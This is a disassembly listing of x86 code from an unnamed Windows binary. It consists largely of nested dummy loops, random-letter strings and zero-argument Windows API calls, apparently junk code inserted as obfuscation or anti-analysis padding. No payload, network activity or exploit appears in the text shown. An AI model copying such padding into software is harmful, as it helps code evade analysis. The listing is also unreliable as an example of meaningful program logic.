jle 0x46524d
and dword [ebp - 0x190], 0
jmp 0x46519a
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x6cb9
jge 0x46524d
and dword [ebp - 0x198], 0
jmp 0x4651c0
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0x2e36
jge 0x465248
and dword [ebp - 0x1a0], 0
jmp 0x4651e2
mov eax, dword [ebp - 0x1a0]
inc eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0x7a4
jge 0x465243
mov eax, dword [ebp - 0x190]
sub eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x1a0]
sar eax, cl
cdq
mov dword [ebp - 0x738], eax
mov dword [ebp - 0x734], edx
push dword [ebp - 0x734]
push dword [ebp - 0x738]
lea ecx, [ebp - 0xa90]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0xa90]
call fcn.00401711
jmp 0x4651d5
jmp 0x4651b3
jmp 0x46518d
cmp dword [ebp - 0x4b8], 0x36e3
jge 0x465265
push dword [ebp - 0x558]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x1a8], 0
jmp 0x46527e
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 1
jge 0x46529a
mov eax, dword [ebp - 0x1a8]
mov dword [ebp + eax*4 - 0x554], 0x2da72df2
jmp 0x465271
mov dword [ebp - 0x520], 0x341e
mov dword [ebp - 0x57c], str.bbgwtvhs_ydsgy_suuj_khjbewb_hlt_bdtu_bkx_itesotlmk_pugmcefqp
cmp dword [ebp - 0x520], 0x3669
jle 0x46539d
and dword [ebp - 0x1b0], 0
jmp 0x4652d4
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0x211d
jge 0x46539d
and dword [ebp - 0x1b8], 0
jmp 0x4652fa
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x5148
jge 0x465398
and dword [ebp - 0x1c0], 0
jmp 0x465320
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x657e
jge 0x465393
and dword [ebp - 0x1c8], 0
jmp 0x465342
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x1d2a
jge 0x465391
mov eax, dword [ebp - 0x1b0]
cdq
idiv dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x1c0]
imul ecx, dword [ebp - 0x1c8]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x744], eax
mov dword [ebp - 0x740], edx
push dword [ebp - 0x740]
push dword [ebp - 0x744]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x465335
jmp 0x465313
jmp 0x4652ed
jmp 0x4652c7
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jne 0x4653b1
mov dword [ebp - 0x4c0], 1
jmp 0x4653b8
and dword [ebp - 0x4c0], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x79c]
cmp dword [ebp - 0x4c0], eax
jg 0x4653d9
mov dword [ebp - 0x4c8], 1
jmp 0x4653e0
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x4c8]
imul eax, dword [ebp - 0x18]
mov dword [ebp - 0x4d0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp + eax - 0x79c], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x4d0]
lea eax, [eax + ecx + 0x2cf1a504]
cmp eax, dword [ebp - 0x38]
jl 0x465424
mov dword [ebp - 0x4d8], 1
jmp 0x46542b
and dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x4d8]
sub eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x68]
jl 0x465448
cmp dword [ebp - 0x50], 0
jne 0x465448
and dword [ebp - 0x4e0], 0
jmp 0x465452
mov dword [ebp - 0x4e0], 1
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x4e0], eax
je 0x465469
mov dword [ebp - 0x4f0], 1
jmp 0x465470
and dword [ebp - 0x4f0], 0
mov dword [ebp - 0x4e8], 1
mov eax, dword [ebp - 0x4e8]
cmp eax, dword [ebp - 0x4f0]
je 0x46549a
cmp dword [ebp - 0x18], 0
je 0x46549a
mov dword [ebp - 0x4f8], 1
jmp 0x4654a1
and dword [ebp - 0x4f8], 0
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x288], eax
jl 0x4654c1
mov dword [ebp - 0x500], 1
jmp 0x4654c8
and dword [ebp - 0x500], 0
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x880], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x554]
mov dword [ebp - 0x830], eax
cmp dword [ebp - 0x38], 0
je 0x465745
mov dword [ebp - 0x508], 0x3eaf
mov dword [ebp - 0x550], str.whuxel_outyi_ebtxhp
cmp dword [ebp - 0x508], 0x4278
jle 0x4655d5
and dword [ebp - 0x1e0], 0
jmp 0x465531
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x4f1b
jge 0x4655c5
and dword [ebp - 0x1d0], 0
jmp 0x465557
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x1d19
jge 0x4655c0
and dword [ebp - 0x1d8], 0
jmp 0x465579
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 0xe7f
jge 0x4655be
mov ecx, dword [ebp - 0x1d0]
sub ecx, dword [ebp - 0x1d8]
mov eax, dword [ebp - 0x1e0]
sar eax, cl
cdq
mov dword [ebp - 0x750], eax
mov dword [ebp - 0x74c], edx
push dword [ebp - 0x74c]
push dword [ebp - 0x750]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x46556c
jmp 0x46554a
jmp 0x465524
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ScrollWindow]
push 2
lea ecx, [ebp - 0x7a8]
call fcn.004179d7
cmp dword [ebp - 0x508], 0x3e9a
jge 0x4655fe
mov edx, dword [ebp - 0x550]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x510], 0x5a54
mov dword [ebp - 0x56c], str.fuojwdpeg_quy_ipotjatwk_fkdpo_qkjny_csj_nssax_qac_xhjwd_bpiwual_rpbnqh_ynerin
cmp dword [ebp - 0x510], 0x5bce
jle 0x4656ba
and dword [ebp - 0x218], 0
jmp 0x465638
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x3b59
jge 0x4656ba
and dword [ebp - 0x220], 0
jmp 0x46565a
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x9f3
jge 0x4656b5
mov eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 0x220]
sar eax, cl
cdq
mov dword [ebp - 0x75c], eax
mov dword [ebp - 0x758], edx
push dword [ebp - 0x758]
push dword [ebp - 0x75c]
lea ecx, [ebp - 0xac0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0xac0]
call fcn.00401711
jmp 0x46564d
jmp 0x46562b
mov dword [ebp - 0x228], 0
jmp 0x4656d3
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 2
jge 0x4656f5
push dword [ebp - 0x228]
lea ecx, [ebp - 0x7a8]
call fcn.00417bb8
mov dword [eax], 2
jmp 0x4656c6
cmp dword [ebp - 0x510], 0x591b
jge 0x46570d
push dword [ebp - 0x56c]
call fcn.004f1488
pop ecx
mov esi, dword [ebp - 0x50]
push 1
lea ecx, [ebp - 0x7a8]
call fcn.00417bb8
mov dword [eax], esi
cmp dword [ebp - 0x38], 0
je 0x465735
lea ecx, [ebp - 0x7a8]
call fcn.00417aef
jmp 0x465986
lea ecx, [ebp - 0x7a8]
call fcn.00417aef
jmp 0x46586a
mov dword [ebp - 0x518], 0x481c
mov dword [ebp - 0x574], str.hyuvdr_rsi_iobq_ruifkxdw_umnryeibi_cueiqdexi_smrwgse_fpbmbvdji_prx_efsuhe_buhtdhk_wog_wfrrbt_kujv
cmp dword [ebp - 0x518], 0x4b64
jle 0x46583c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
and dword [ebp - 0x24c], 0
jmp 0x46578b
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x29e9
jge 0x46583c
and dword [ebp - 0x230], 0
jmp 0x4657b1
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0x76f
jge 0x465837
and dword [ebp - 0x238], 0
jmp 0x4657d3
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0x576d
jge 0x465832
mov eax, dword [ebp - 0x230]
xor eax, dword [ebp - 0x238]
or eax, dword [ebp - 0x24c]
cdq
mov dword [ebp - 0x768], eax
mov dword [ebp - 0x764], edx
push dword [ebp - 0x764]
push dword [ebp - 0x768]
lea ecx, [ebp - 0xaf0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0xaf0]
call fcn.00401711
jmp 0x4657c6
jmp 0x4657a4
jmp 0x46577e
mov byte [ebp - 0x3a], 0
cmp dword [ebp - 0x518], 0x45be
jge 0x465858
push dword [ebp - 0x574]
call fcn.004f1488
pop ecx
movzx eax, byte [ebp - 0x3a]
test eax, eax
je 0x46586a
push 0
push 0
call dword [sym.imp.USER32.dll_GetSystemMenu]
cmp dword [ebp - 0x520], 0x306a
jge 0x465886
mov edx, dword [ebp - 0x57c]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x530], 0x6c57
mov dword [ebp - 0x584], str.lgf_ysvuik_xnuvh_tvqcanigl_lye_pju_dufmbm_rbpgflm_fpltbjnrm_uvrtnkpaj_ixnr_jufne
cmp dword [ebp - 0x530], 0x6de8
jle 0x465937
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DeferWindowPos]
and dword [ebp - 0x254], 0
jmp 0x4658d6
cmp dword [ebp - 0x254], 0x63af
jge 0x465937
and dword [ebp - 0x25c], 0
jmp 0x4658f8
cmp dword [ebp - 0x25c], 0x13f9
jge 0x465935
mov eax, dword [ebp - 0x254]
or eax, dword [ebp - 0x25c]
cdq
mov dword [ebp - 0x774], eax
mov dword [ebp - 0x770], edx
push dword [ebp - 0x770]
push dword [ebp - 0x774]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4658eb
jmp 0x4658c9
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x79c]
mov dword [ebp - 0x528], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x528]
mov dword [ebp + eax - 0x79c], ecx
mov eax, dword [ebp - 0x528]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x530], 0x6b9c
jge 0x465981
mov edx, dword [ebp - 0x584]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x465054
mov esi, 0xaae8a0
mov edi, dword [ebp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret